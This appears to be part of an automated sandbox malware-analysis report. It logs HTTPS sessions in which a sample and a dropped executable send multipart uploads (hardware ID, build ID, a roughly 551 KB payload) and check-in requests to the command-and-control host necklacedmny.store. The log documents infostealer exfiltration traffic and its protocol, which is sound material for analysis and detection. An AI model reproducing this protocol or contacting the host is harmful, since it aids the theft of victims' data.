2024-10-30 20:55:13 UTC	5241	OUT	Data Raw: 5a 3e 93 af 35 13 92 cd 36 8a 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Z>56vMMZh'F3Wun 4F([:7s~X`nO
2024-10-30 20:55:14 UTC	1020	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 20:55:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mn5p0r8jrdgbr9tun10ij22f4s; expires=Sun, 23-Feb-2025 14:41:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dDvGoz5QzI5MZ1g%2F%2BvKwRzLwdDB%2BqoBLxFE%2FyWVLOijit%2BTCILhbUexZWidyYWffkfmP2uBoboCC60fWWUp5MGoN5M4Cf5QYEuuC8Fyaexr39gfkzylKjywhTqnkJz4bRU5IOD8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dae4e15ccb64648-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1893&sent=12&recv=26&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21536&delivery_rate=1551151&cwnd=32&unsent_bytes=0&cid=e14e76bea29c10f1&ts=702&x=0"
2024-10-30 20:55:14 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 20:55:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49709	188.114.96.3	443	744	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 20:55:15 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1253 Host: necklacedmny.store
2024-10-30 20:55:15 UTC	1253	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 46 38 46 42 32 35 35 39 39 35 43 46 41 35 35 41 34 39 44 33 41 46 43 35 34 31 45 30 46 46 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AF8FB255995CFA55A49D3AFC541E0FFF--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 20:55:15 UTC	1015	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 20:55:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1vgp1ho4muc94pm75t30lr1tf8; expires=Sun, 23-Feb-2025 14:41:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=keuVWZGcYb5jx0IVk%2BuwrdT%2BSKjGFHMDX8GT1GSmXN9QfZOw8%2BiILaTPgiHpNtfAW36sYjlOC2KetmwawRbGzDOx1MfB4uf%2Fl04sOJWvMynBytTUiIVFsQxnmJgyNTYviI8yF78%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dae4e1faf4e474c-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1006&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2172&delivery_rate=2828125&cwnd=32&unsent_bytes=0&cid=c6248cf1190ef8b9&ts=526&x=0"
2024-10-30 20:55:15 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 20:55:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49710	188.114.96.3	443	744	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 20:55:16 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 551273 Host: necklacedmny.store
2024-10-30 20:55:16 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 46 38 46 42 32 35 35 39 39 35 43 46 41 35 35 41 34 39 44 33 41 46 43 35 34 31 45 30 46 46 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AF8FB255995CFA55A49D3AFC541E0FFF--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 20:55:16 UTC	15331	OUT	Data Raw: 65 c1 2c 31 ba 87 0e de f4 6d 0c af 99 a6 00 7c 7e cb 17 fc c9 72 67 bd 81 29 9b 5a cc d5 f5 07 e1 b3 52 fd 4d 52 2b ef a6 9a e5 c6 be 19 90 94 66 70 5f 0a 35 14 e1 2d a1 c5 0f bd 16 9a ff d4 f6 8f 61 ac 31 32 56 35 39 08 83 2c 9f 93 99 84 f4 40 48 72 6b 4e db 35 3e 51 74 bf a1 f1 03 e3 f7 21 93 51 64 e5 bb 0e b6 50 9e 01 42 5d e1 ab 51 cb 90 2f 31 3e 21 68 6e b5 70 d5 bd 04 9a 72 2e 78 62 f9 a7 3e f3 7a 43 d3 0c ba 06 9f eb 09 dd 51 ff 81 ef 8b 3d a6 54 8c 4b 0b 0f 28 b1 f7 10 14 08 96 c2 6f 5e 9d b4 4e 14 a0 2c 4d aa 7d 4f 0a 8b ba b0 15 1d 7c 22 72 3f dd eb 4f 99 b2 b6 36 17 54 e8 0a 8e 0c ae 28 32 fa 6e db 23 c1 71 24 f9 30 ce 3f 11 72 77 00 b5 e4 66 08 0e e2 8e 49 8c 52 fc d9 1b 4a 80 76 04 05 fb b8 85 bf f3 1b af 7c a2 09 4e 48 6c bd f0 19 4b 76 68 Data Ascii: e,1m\|~rg)ZRMR+fp_5-a12V59,@HrkN5>Qt!QdPB]Q/1>!hnpr.xb>zCQ=TK(o^N,M}O\|"r?O6T(2n#q$0?rwfIRJv\|NHlKvh
2024-10-30 20:55:16 UTC	15331	OUT	Data Raw: 38 70 af 84 0a b0 c2 12 a8 da 7c c3 74 5c 5a 2a f1 44 98 f3 9e a7 c2 ad 59 1a de d9 b1 75 4f d3 63 ea 28 03 92 de 5e 5c 15 25 a1 ab c7 c9 89 a8 b7 92 85 81 e8 4f c3 94 b8 e8 38 0a 6e 77 1b ea f6 2d 51 9f 50 3e 31 8f 14 19 87 08 37 9b 13 58 61 88 ef 2f e3 82 cb c2 8d 28 ff c4 39 c4 8b 00 25 e5 52 fe 85 da 8e 60 84 be e0 6c 6d 06 43 62 6b 55 df 78 46 e9 f7 68 95 f1 58 6d 85 f2 54 6f 82 0a 3e 3b 2e 02 53 ba ed d6 46 ac 67 56 b2 33 06 b3 be 15 a4 9a 2a cc 2d 0a 1e 69 89 64 b9 2f fc c6 09 1f 89 b4 b4 9b c8 a9 68 d3 8e 5b e3 34 b1 dc 0b 9a 66 f8 e6 9a c7 8d af dc 0e 0f 6d ae 1f 59 f7 35 a5 05 88 b6 c9 a5 46 dc ee 5d d5 22 7f f5 25 b6 19 76 84 cb 32 cf d5 e4 21 da 71 13 92 99 d2 3e 82 d5 a7 da b2 d0 5d 21 f1 33 0e 00 43 48 f8 28 1c 0f 93 31 47 5f d8 e8 e6 d2 a0 Data Ascii: 8p\|t\ZDYuOc(^\%O8nw-QP>17Xa/(9%R`lmCbkUxFhXmTo>;.SFgV3-id/h[4fmY5F]"%v2!q>]!3CH(1G_
2024-10-30 20:55:16 UTC	15331	OUT	Data Raw: 67 7f f8 7d 49 33 fe ef 9d ad 10 43 2f 3a a8 ef f9 1c ff 8f 10 42 07 98 53 47 7e 46 61 ab 00 0f ce e1 ed 30 80 77 e7 90 c7 d2 9d c9 d9 ff f7 ec f0 53 a0 eb 0c d2 82 61 e4 a6 01 bd 3b fd 2a b0 76 c7 37 b4 f3 81 f8 59 ef 0e 9d be 48 b7 62 b1 97 af d2 03 5a 2c d0 e4 7f 60 0f e1 38 09 78 8f 4b 58 a9 2a 90 3a 2f ca e8 fc f3 84 ce d8 3e 0c 3b 12 6c 8a 71 7e a7 6d 9a f0 80 87 0f 65 1a a9 93 eb 87 23 a8 ff fd f1 9b 52 38 ff 4f 4e 84 18 df cd 24 33 d8 21 10 08 92 19 bf 02 55 19 65 a5 f4 a4 1b a4 0a d4 f4 45 ea 37 01 46 ba 84 38 1a 4e 7e 1c 47 e0 44 97 88 ad fc b6 0a 3f ea d1 c7 fb 15 e7 48 6d dc d5 8c df d3 ac bc 52 a7 95 a5 98 38 92 e4 92 8e 0e ef 33 3d 58 89 66 67 e3 d7 56 1c d7 84 05 76 0b e6 17 90 f5 b0 e2 1d 3f c7 c0 91 66 8a 22 42 b5 d8 3f 69 d5 cf d6 e5 06 Data Ascii: g}I3C/:BSG~Fa0wSa;v7YHbZ,`8xKX:/>;lq~me#R8ON$3!UeE7F8N~GD?HmR83=XfgVv?f"B?i
2024-10-30 20:55:16 UTC	15331	OUT	Data Raw: f4 40 b6 5f 1a cb 6a cd e4 ec 25 72 d5 a6 df 9a 3e 1e 3f 71 9c f3 ee fc 1c 9f 14 fe 00 9e 8e e0 55 16 ce f5 6d 78 73 d8 8d 34 24 27 f1 b1 1b e2 4d 93 99 46 1f 14 ea aa 17 47 3a 2b 02 25 7f 9f 51 66 28 88 bc 02 74 3c c7 4f 3b 33 3a ac 43 c3 03 42 5e 72 4c 08 e2 78 03 25 26 b6 f8 06 19 45 0e c5 b1 84 fd 76 c6 11 c8 8f 1d 97 b7 3b 46 4c 2a 30 90 15 da b7 e7 1c cb fd d4 09 2f 31 1d b1 ed 9f cb 27 35 31 f7 e5 42 ef fc 3b 9d e4 3e 33 43 4a 5b 93 dc 4c f4 c6 ef 03 e7 3e 38 35 19 77 1e 04 2f 0f 27 79 f2 71 96 fa 60 6d ed d3 88 56 c4 35 85 60 c3 b4 2f ca fd dd 10 a2 c5 39 75 7c 50 31 f4 f2 bf b7 a0 0a 0b 9f 8b 0b 59 67 5d 02 71 a5 10 83 00 7f 0d c4 58 42 20 75 8e 51 68 93 79 41 42 d7 e8 07 94 59 fb 61 66 73 14 45 de fa d8 fe 78 a6 25 17 61 ee 2f da 95 2c c6 33 1e Data Ascii: @_j%r>?qUmxs4$'MFG:+%Qf(t<O;3:CB^rLx%&Ev;FL*0/1'51B;>3CJ[L>85w/'yq`mV5`/9u\|P1Yg]qXB uQhyABYafsEx%a/,3
2024-10-30 20:55:16 UTC	15331	OUT	Data Raw: cf b9 47 a4 08 80 69 5b 6f a9 03 a9 6e 02 29 d4 a1 8d 26 34 3c cc 09 71 3b 9b bf ce 99 ad 4e 28 35 62 77 4b a1 5e 69 b0 da b1 13 3d b0 a2 55 0f bc 66 f8 fb 0a 09 47 00 0b ac e5 3f 04 d6 17 f8 35 f9 c1 11 44 21 05 e8 b4 2d f0 e7 64 d4 92 b4 39 31 ac 8c 0a ae 18 a8 7a e7 ed b3 32 f4 59 6d 6b 9e 3d f6 9f b7 02 47 18 38 87 9d c1 82 58 5e a0 b9 d0 c2 e4 2f fe 73 1c 87 e2 79 a1 65 f7 39 66 c8 fe ab 90 6e 8d 74 ca b4 a0 4a 54 44 6f f6 66 84 bc 2a 42 9a 59 df 7c 92 1c 31 65 2e f8 ae 42 d3 64 40 c7 a3 24 f2 10 79 cd b3 43 6f fe 43 c1 01 13 bf df 38 23 3d ac 04 50 c1 46 99 02 f8 8a b5 3a 1a 8a c5 80 ad a7 d2 3a 2a 20 97 e0 6b a7 09 7d a4 c1 ad 97 21 86 a5 dc 4e 9c 08 83 99 e2 5d b7 67 5e 8c a7 6e 46 c3 27 41 32 41 dd 87 27 33 82 1c 62 e6 aa 38 cc 88 c7 c4 76 1c fb Data Ascii: Gi[on)&4<q;N(5bwK^i=UfG?5D!-d91z2Ymk=G8X^/sye9fntJTDofBY\|1e.Bd@$yCoC8#=PF:: k}!N]g^nF'A2A'3b8v
2024-10-30 20:55:16 UTC	15331	OUT	Data Raw: b6 27 21 42 6d 66 c5 5a d7 cf 9c 23 2a 3c 23 e7 e3 8e 6d b7 78 ac 95 27 f0 67 b4 cb 54 15 ba fc df 3e 34 23 46 c3 72 fc 57 71 5a b5 84 8c 3f 7c 7e a7 6b 01 5b 55 02 d5 85 7b 12 a8 f5 e3 84 4d e6 d1 a8 f7 e2 5a e3 e0 5b ea 89 b4 10 89 4c e5 09 84 1d 93 62 1f fe 87 2f 4f 91 45 42 b0 4f 9e 2b fb dd 1f dc 7c 2f bf 66 d6 4e 9b a7 cf 4d ab 2c c1 88 1d 86 7b 3d f9 4e 52 c4 d1 49 2d 14 ed de 56 9b d8 68 d8 6f f4 4d bd e6 78 6f 76 76 5b 09 64 ed 20 c2 4f e1 df 90 c0 5f 75 88 fd 33 48 94 82 f1 88 b7 2d 6d 87 70 6a 0a 27 2f 35 bc 33 46 75 95 15 dd 53 c8 49 d4 1c e7 b8 be 4c c2 5b dd 23 cd 1a fa 61 af 9f 93 a1 25 7a 27 c0 6d a5 2c 81 a9 ce a9 02 7f d4 de 32 d7 41 9b 16 93 3c f3 76 03 84 24 78 1b 9c b8 8c bc b8 ef 45 61 22 8c 27 59 b9 a4 a3 83 e1 5b 2a cc 1c 1f 72 e5 Data Ascii: '!BmfZ#<#mx'gT>4#FrWqZ?\|~k[U{MZ[Lb/OEBO+\|/fNM,{=NRI-VhoMxovv[d O_u3H-mpj'/53FuSIL[#a%z'm,2A<v$xEa"'Y[r
2024-10-30 20:55:16 UTC	15331	OUT	Data Raw: ff 3e d1 3f 26 db 06 e5 41 9e 46 b0 c6 5b 63 f5 59 25 42 09 12 fe 85 ac 7f 71 3d a9 5a 09 8d 6d 76 6f 17 2b df 7b ce 21 bd 12 e3 1b 48 20 13 1a ca b4 28 d8 4b 37 08 03 31 da 86 78 a1 86 11 e3 10 df 0e f7 8b 0f b1 97 ea 0c e4 f1 c5 a8 2b e9 84 bb 87 cd 5a bc 2f 3d 20 64 3a f9 b1 7f d3 2d b3 6b 80 5f 14 55 fb df 93 f1 e2 e0 90 e4 a3 dd 7e 83 c2 c5 c0 dd f1 ad 22 98 95 43 4c 90 f2 03 38 be e8 53 5f d4 69 a7 8f 93 be d2 9c 35 45 e9 4b 8d d1 4d 48 d4 40 5a 31 28 1c e2 43 04 28 42 ad 3d fd 16 e1 86 d6 ab 2d 96 52 e7 74 f1 ed 11 b4 00 ef 42 09 f0 14 26 be bb 20 4c ca 7d 84 5d 0c 5a eb 3f 12 63 e8 0f 76 a6 44 fa 9e 37 61 14 be 4b 5d b2 da 39 28 5f 74 b8 01 41 7a 82 86 a5 10 62 32 6f 4f 68 fd 94 f2 38 af bf 0a d9 b0 3e 62 02 33 9c 26 63 4e 07 37 0b a5 4f b7 65 cc Data Ascii: >?&AF[cY%Bq=Zmvo+{!H (K71x+Z/= d:-k_U~"CL8S_i5EKMH@Z1(C(B=-RtB& L}]Z?cvD7aK]9(_tAzb2oOh8>b3&cN7Oe
2024-10-30 20:55:16 UTC	15331	OUT	Data Raw: af ef d9 3e ab 0b c8 60 25 2a 4c 7b 90 1f 44 33 55 ee d4 d2 82 99 8f 70 f8 49 95 76 fb 85 6a 54 59 3d 6b 31 98 9f 87 c4 43 48 f6 1e 05 61 86 b5 7e ee 0b a2 1f ea b7 ca d0 0f ef e1 4c 8a 38 9e da 69 ed 2d 70 91 23 9b 8d 27 e2 15 06 58 63 41 05 5e 66 31 71 d1 b7 2a ac bb 54 07 5b e1 df 2b e2 fb 62 37 c4 6e 76 b3 54 79 83 2a d5 a2 bf 37 99 71 9b f3 1f 5a 8f 0d 3f 74 8f 0a 71 22 d4 ef ef 1f 51 5a 65 2a 87 27 84 a8 85 0c 95 45 21 e8 bb d3 e3 c3 40 59 18 df 0b 78 4d 7a 8e 9f f6 60 79 fd d7 30 6c fe db bb bc 0b e0 26 52 7f 1e 17 02 c7 de db 9b 11 9f 17 23 dd 9b 3e 54 18 fe ae 89 17 28 f8 96 cd 98 38 5c 30 ca 0d 9f 3c a0 47 9d 1c f3 38 fe a4 96 0c f4 c4 a6 01 c2 fd 52 41 19 54 50 51 8d a5 47 21 0b a0 85 cc e4 2e 80 d2 ee c7 d7 eb c2 fe 0f dd 99 ea 3f 62 f3 f9 ae Data Ascii: >`%L{D3UpIvjTY=k1CHa~L8i-p#'XcA^f1qT[+b7nvTy7qZ?tq"QZe'E!@YxMz`y0l&R#>T(8\0<G8RATPQG!.?b
2024-10-30 20:55:16 UTC	15331	OUT	Data Raw: b0 c5 f5 25 88 12 cc 27 c7 d2 f0 29 3e 2e 0e e2 b2 57 9b 0a 33 f4 e2 43 f8 0f 71 31 28 59 48 7d 41 ac 48 d6 38 62 2e 85 97 50 f9 69 12 ff a6 45 b2 de 28 88 d0 2a 0d ef 7d b8 e6 9a 60 2a 05 7a 4d 2a 50 1a 21 0e b2 11 84 de 9b 7b 58 c9 ad 3f 3e a5 5a 18 1f 58 9f 7a 94 84 d7 10 6e 7f 87 07 c6 49 9b e7 27 f8 ef 93 3f f2 6c 40 f5 81 16 81 f7 85 3a a1 de f3 8a 97 be c6 45 d2 6d 99 0b 11 ee 03 13 a6 7a 9f 83 69 9a e8 1a 23 e3 2e 5d 10 3a ff 73 3a c3 68 20 ea 93 36 c7 75 bc 65 dd a6 65 b3 83 6f 34 a6 55 10 e1 d3 43 fa 81 0b bc 7f cd f8 f5 16 a2 b1 09 fd b1 84 cd a2 ca 89 7a f7 81 64 de 8c 38 eb 57 4f 72 e5 9b c1 cd e7 95 eb 03 36 e5 b4 9b ac 5f 73 0a 05 b4 45 56 10 f7 9c 28 44 5b 1c 22 04 90 32 c3 3e 54 6e 16 8c b9 fa 30 42 b8 43 cd e2 41 d5 d8 88 ea 15 3c 75 60 Data Ascii: %')>.W3Cq1(YH}AH8b.PiE(}`zM*P!{X?>ZXznI'?l@:Emzi#.]:s:h 6ueeo4UCzd8WOr6_sEV(D["2>Tn0BCA<u`
2024-10-30 20:55:18 UTC	1022	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 20:55:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0ado2mdgeb79fcdpjel4rjjlo2; expires=Sun, 23-Feb-2025 14:41:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3gXyZWTe0HBmyLR5sxFTqTMBxJcpjqUoPQfvqRb9i3GIqzjJJFz62jQc0w0Ia5lYx29zypiKYjlA8%2BItw2n4Nu6yZn%2B0MnMnHNZm8IQk5Dx1K%2FEvdGiajayr%2BgJnGbjoZT9OIpY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dae4e29fbc8ddb4-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1271&sent=219&recv=593&lost=0&retrans=0&sent_bytes=2846&recv_bytes=553756&delivery_rate=2185660&cwnd=32&unsent_bytes=0&cid=477c46dcc63060e6&ts=1670&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49711	188.114.96.3	443	744	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 20:55:19 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-10-30 20:55:19 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 41 46 38 46 42 32 35 35 39 39 35 43 46 41 35 35 41 34 39 44 33 41 46 43 35 34 31 45 30 46 46 46 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=AF8FB255995CFA55A49D3AFC541E0FFF
2024-10-30 20:55:19 UTC	1007	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 20:55:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bke6h5qe9b97rbk8o850hagsmj; expires=Sun, 23-Feb-2025 14:41:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Zcusxz7BWOuZndSd7ehgaGpxR28g1pwMOmoLnhnQkOkQWeQluiQJ7oaPaNCdS8pYrVbohPNanaEfteJQ6U6NNNX3fP8dBlehaBSA54OTyXclxv4wL2aVF7gIp2KrvmHeCqw7CCE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dae4e3879a32e27-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1333&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=989&delivery_rate=2064148&cwnd=251&unsent_bytes=0&cid=b75047d699c8afcd&ts=473&x=0"
2024-10-30 20:55:19 UTC	214	IN	Data Raw: 64 30 0d 0a 47 73 50 74 62 35 42 6c 77 48 46 58 6c 67 77 4c 52 2f 6d 63 4a 72 73 5a 65 6d 76 4f 46 37 32 33 32 71 64 77 42 4c 78 66 37 67 68 42 75 4d 38 61 73 6c 2f 69 47 53 50 69 66 44 45 62 31 73 41 4a 69 69 46 50 52 66 77 6d 69 4a 6e 72 6c 6b 4d 71 6a 57 6d 79 4a 33 57 6c 69 7a 4f 2f 41 61 55 58 65 66 4e 30 62 6d 58 56 76 6b 44 50 4f 30 42 62 34 6a 58 59 6c 65 43 58 44 53 6a 48 66 5a 73 71 49 4f 47 46 47 2b 51 56 2b 69 31 34 79 69 4d 36 66 38 79 79 46 49 6f 73 56 46 72 2f 4a 4a 4f 47 37 50 74 66 61 64 55 78 69 31 51 31 73 59 77 42 39 41 71 74 58 7a 4c 75 61 53 6c 72 32 2f 70 53 6d 53 4e 4b 52 2b 78 79 6e 34 33 71 32 69 30 3d 0d 0a Data Ascii: d0GsPtb5BlwHFXlgwLR/mcJrsZemvOF7232qdwBLxf7ghBuM8asl/iGSPifDEb1sAJiiFPRfwmiJnrlkMqjWmyJ3WlizO/AaUXefN0bmXVvkDPO0Bb4jXYleCXDSjHfZsqIOGFG+QV+i14yiM6f8yyFIosVFr/JJOG7PtfadUxi1Q1sYwB9AqtXzLuaSlr2/pSmSNKR+xyn43q2i0=
2024-10-30 20:55:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	50232	188.114.96.3	443	7060	C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 20:56:18 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-30 20:56:18 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-30 20:56:18 UTC	1011	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 20:56:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=c9jpncjg53set0fr2apqf3bv9k; expires=Sun, 23-Feb-2025 14:42:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RlMiy7ytw96ZbfX83K%2FieWdb4CL7FNLAaKS8IV1YGgNQch3V2ZsLKRuLW2CvpLttPGX4nRM7VbPEDXSd6OdfLnKa3PXopn5vnMe7O05Jn40yeWBBrLG%2BU3o6R3sQU8oOqKM32ZQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dae4fa95f6e469e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1872&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=909&delivery_rate=1617877&cwnd=251&unsent_bytes=0&cid=4e62a65e1d8f3ad8&ts=912&x=0"
2024-10-30 20:56:18 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-30 20:56:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	50234	188.114.96.3	443	7060	C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe

